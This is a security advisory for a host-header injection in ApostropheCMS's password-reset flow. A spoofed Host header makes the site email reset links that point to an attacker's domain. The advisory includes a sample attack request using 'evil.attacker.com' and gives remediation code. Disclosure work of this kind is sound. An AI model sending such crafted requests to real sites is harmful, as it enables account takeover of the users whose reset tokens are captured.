PT-2026-41155 · Npm · Apostrophe

Published

2026-05-14

·

Updated

2026-05-14

·

CVE-2026-45013

CVSS v3.1

8.1

High

VectorAV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Summary

ApostropheCMS's password reset flow constructs the reset URL using req.hostname, which is derived directly from the attacker-controlled HTTP Host header when apos.baseUrl is not explicitly configured. An unauthenticated attacker who knows a victim's email address can send a crafted reset request that causes the application to email the victim a reset link pointing to the attacker's domain. When the victim clicks the link, the valid reset token is delivered to the attacker, enabling full account takeover.

Affected Component

modules/@apostrophecms/login/index.js — resetRequest route Precondition: passwordReset: true is set and apos.baseUrl is not configured.

Vulnerability Details

The setPrefixUrls middleware (i18n layer) builds req.baseUrl using req.hostname:
// Simplified from i18n middleware
req.baseUrl = `${req.protocol}://${req.hostname}`;
req.absoluteUrl = req.baseUrl + req.url;
The resetRequest handler then passes this tainted value directly into URL construction:
const parsed = new URL(
 req.absoluteUrl,      // ← tainted by attacker's Host header
 self.apos.baseUrl
  ? undefined
  : `${req.protocol}://${req.hostname}${port}` // ← also tainted
);
parsed.pathname = '/login';
parsed.searchParams.append('reset', reset);  // real, valid token
parsed.searchParams.append('email', user.email);
await self.email(..., { url: parsed.toString() }, ...);
// Email sent to victim with URL pointing to attacker-controlled domain
When apos.baseUrl is configured, it is used unconditionally and the attacker's Host header is ignored — that path is not vulnerable.

Attack Scenario

  1. Attacker identifies a valid user email (e.g. from the site's public interface).
  2. Attacker sends:
  POST /api/v1/login/reset-request
  Host: evil.attacker.com
  Content-Type: application/json

  {"email": "victim@example.com"}
  1. The application emails the victim:
  Click here to reset your password:
  http://evil.attacker.com/login?reset=TOKEN&email=victim@example.com
  1. Victim clicks the link; attacker's server captures TOKEN.
  2. Attacker calls the real target's reset endpoint with the captured token and sets a new password — full account takeover.

Preconditions

  • passwordReset: true configured in login module options (opt-in)
  • apos.baseUrl is not set (common in development and some production deployments)
  • Attacker knows or can enumerate a valid account email

Impact

Full account takeover of any account whose email address is known to the attacker. No authentication or interaction beyond sending a single HTTP request is required from the attacker. The victim need only click a link in a legitimate-looking password reset email from their own site.

Remediation

Operators (immediate): Always set apos.baseUrl in your configuration:
// app.js or module configuration
modules: {
 '@apostrophecms/express': {
  options: {
   baseUrl: 'https://yourdomain.com'
  }
 }
}
Framework fix (recommended): The resetRequest route should refuse to proceed if apos.baseUrl is not configured, rather than falling back to the tainted req.hostname. Example:
// In resetRequest handler
if (!self.apos.baseUrl) {
 throw self.apos.error(
  'invalid',
  'apos.baseUrl must be configured to enable password reset'
 );
}
const parsed = new URL(self.loginUrl(), self.apos.baseUrl);
This eliminates the attacker-controlled input entirely from the URL construction path.

References

Fix

RCE

Weakness Enumeration

CWE-20CWE-640

Related Identifiers

CVE-2026-45013
GHSA-GF43-24G3-5HW2

Affected Products

Apostrophe